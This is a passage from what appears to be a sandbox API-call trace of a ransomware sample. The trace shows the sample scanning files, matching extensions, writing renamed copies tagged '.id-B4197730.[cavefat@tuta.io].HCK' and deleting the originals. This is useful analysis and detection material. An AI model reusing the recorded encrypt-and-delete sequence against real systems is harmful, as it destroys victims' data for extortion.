"c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.421] lstrlenW (lpString=".doc") returned 4 [0165.421] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.421] lstrlenW (lpString=".docx") returned 5 [0165.421] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.421] lstrlenW (lpString=".pdf") returned 4 [0165.421] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.421] lstrlenW (lpString=".xls") returned 4 [0165.421] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.421] lstrlenW (lpString=".xlsx") returned 5 [0165.421] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.421] lstrlenW (lpString=".ppt") returned 4 [0165.421] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.421] lstrlenW (lpString=".zip") returned 4 [0165.421] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.421] lstrlenW (lpString=".rar") returned 4 [0165.421] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.421] lstrlenW (lpString=".bz2") returned 4 [0165.421] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.421] lstrlenW (lpString=".7z") returned 3 [0165.421] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.421] lstrlenW (lpString=".dbf") returned 4 [0165.421] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".1cd") returned 4 [0165.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".jpg") returned 4 [0165.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".doc") returned 4 [0165.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString=".docx") returned 5 [0165.422] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.422] lstrlenW (lpString=".pdf") returned 4 [0165.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.422] lstrlenW (lpString=".xls") returned 4 [0165.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.422] lstrlenW (lpString=".xlsx") returned 5 [0165.422] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.422] lstrlenW (lpString=".ppt") returned 4 [0165.422] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".zip") returned 4 [0165.422] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.422] lstrlenW (lpString=".rar") returned 4 [0165.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.422] lstrlenW (lpString=".bz2") returned 4 [0165.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString=".7z") returned 3 [0165.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".dbf") returned 4 [0165.422] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".1cd") returned 4 [0165.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0165.422] lstrlenW (lpString=".jpg") returned 4 [0165.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.422] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.422] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0165.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.434] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5120) returned 1 [0165.434] CloseHandle (hObject=0x370) returned 1 [0165.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0165.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.455] lstrlenW (lpString=".doc") returned 4 [0165.455] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.455] lstrlenW (lpString=".docx") returned 5 [0165.455] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.455] lstrlenW (lpString=".pdf") returned 4 [0165.455] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.455] lstrlenW (lpString=".xls") returned 4 [0165.455] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.455] lstrlenW (lpString=".xlsx") returned 5 [0165.456] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.456] lstrlenW (lpString=".ppt") returned 4 [0165.456] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".zip") returned 4 [0165.456] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".rar") returned 4 [0165.456] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".bz2") returned 4 [0165.456] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString=".7z") returned 3 [0165.456] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".dbf") returned 4 [0165.456] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".1cd") returned 4 [0165.456] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".jpg") returned 4 [0165.456] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".doc") returned 4 [0165.456] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString=".docx") returned 5 [0165.456] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.456] lstrlenW (lpString=".pdf") returned 4 [0165.456] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".xls") returned 4 [0165.456] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".xlsx") returned 5 [0165.456] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.456] lstrlenW (lpString=".ppt") returned 4 [0165.456] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".zip") returned 4 [0165.456] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".rar") returned 4 [0165.456] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.456] lstrlenW (lpString=".bz2") returned 4 [0165.456] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.456] lstrlenW (lpString=".7z") returned 3 [0165.456] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.456] lstrlenW (lpString=".dbf") returned 4 [0165.457] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.457] lstrlenW (lpString=".1cd") returned 4 [0165.457] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0165.457] lstrlenW (lpString=".jpg") returned 4 [0165.457] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.457] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.457] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0165.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.469] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3072) returned 1 [0165.469] CloseHandle (hObject=0x308) returned 1 [0165.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0165.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0165.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0165.469] lstrlenW (lpString=".doc") returned 4 [0165.469] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.469] lstrlenW (lpString=".docx") returned 5 [0165.469] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.469] lstrlenW (lpString=".pdf") returned 4 [0165.469] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.469] lstrlenW (lpString=".xls") returned 4 [0165.469] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.469] lstrlenW (lpString=".xlsx") returned 5 [0165.470] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.470] lstrlenW (lpString=".ppt") returned 4 [0165.470] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0165.470] lstrlenW (lpString=".zip") returned 4 [0165.470] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.470] lstrlenW (lpString=".rar") returned 4 [0165.470] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.470] lstrlenW (lpString=".bz2") returned 4 [0165.470] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.470] lstrlenW (lpString=".7z") returned 3 [0165.470] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0165.470] lstrlenW (lpString=".dbf") returned 4 [0165.470] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 Thread: id = 288 os_tid = 0x112c [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3700930 [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3710938 [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708570 [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e830 [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708618 [0147.769] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x3902020 [0147.771] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708630 [0147.771] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708630, Size=0x20) returned 0x6eec98 [0147.771] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708588 [0147.771] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708588, Size=0x20) returned 0x6eeb08 [0147.771] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.771] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.771] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x0) returned 1 [0147.771] lstrlenW (lpString="kernel32.dll") returned 12 [0147.771] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.771] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.771] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.771] Sleep (dwMilliseconds=0x64) [0148.152] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.152] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0148.152] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.172] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=144072) returned 1 [0148.172] CloseHandle (hObject=0x2fc) returned 1 [0148.172] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0148.172] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.172] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.172] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.172] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.172] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.172] GetLastError () returned 0x0 [0148.172] ReadFile (in: hFile=0x2fc, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0148.235] WriteFile (in: hFile=0x300, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0148.238] ReadFile (in: hFile=0x2fc, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.238] WriteFile (in: hFile=0x300, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.238] SetEndOfFile (hFile=0x300) returned 1 [0148.238] CloseHandle (hObject=0x300) returned 1 [0148.241] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.241] SetEndOfFile (hFile=0x2fc) returned 1 [0148.242] CloseHandle (hObject=0x2fc) returned 1 [0148.242] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.243] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0148.243] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.243] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.243] lstrlenW (lpString=".doc") returned 4 [0148.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.243] lstrlenW (lpString=".docx") returned 5 [0148.244] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0148.244] lstrlenW (lpString=".pdf") returned 4 [0148.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".xls") returned 4 [0148.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".xlsx") returned 5 [0148.244] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0148.244] lstrlenW (lpString=".ppt") returned 4 [0148.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".zip") returned 4 [0148.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".rar") returned 4 [0148.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".bz2") returned 4 [0148.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.244] lstrlenW (lpString=".7z") returned 3 [0148.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".dbf") returned 4 [0148.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".1cd") returned 4 [0148.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".jpg") returned 4 [0148.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".doc") returned 4 [0148.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".docx") returned 5 [0148.244] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0148.244] lstrlenW (lpString=".pdf") returned 4 [0148.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".xls") returned 4 [0148.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".xlsx") returned 5 [0148.244] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0148.244] lstrlenW (lpString=".ppt") returned 4 [0148.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.244] lstrlenW (lpString=".zip") returned 4 [0148.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".rar") returned 4 [0148.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.244] lstrlenW (lpString=".bz2") returned 4 [0148.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.244] lstrlenW (lpString=".7z") returned 3 [0148.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.245] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.245] lstrlenW (lpString=".dbf") returned 4 [0148.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.245] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.245] lstrlenW (lpString=".1cd") returned 4 [0148.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.245] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0148.245] lstrlenW (lpString=".jpg") returned 4 [0148.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.245] lstrcmpiW (lpString1=".cmd", lpString2=".HCK") returned -1 [0148.245] lstrlenW (lpString="preoobe.cmd") returned 11 [0148.245] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.258] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=74) returned 1 [0148.258] CloseHandle (hObject=0x308) returned 1 [0148.258] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0148.258] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.258] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.259] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.259] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.259] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.259] GetLastError () returned 0x0 [0148.259] ReadFile (in: hFile=0x308, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x4a, lpOverlapped=0x0) returned 1 [0148.260] WriteFile (in: hFile=0x30c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x50, lpOverlapped=0x0) returned 1 [0148.260] ReadFile (in: hFile=0x308, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | 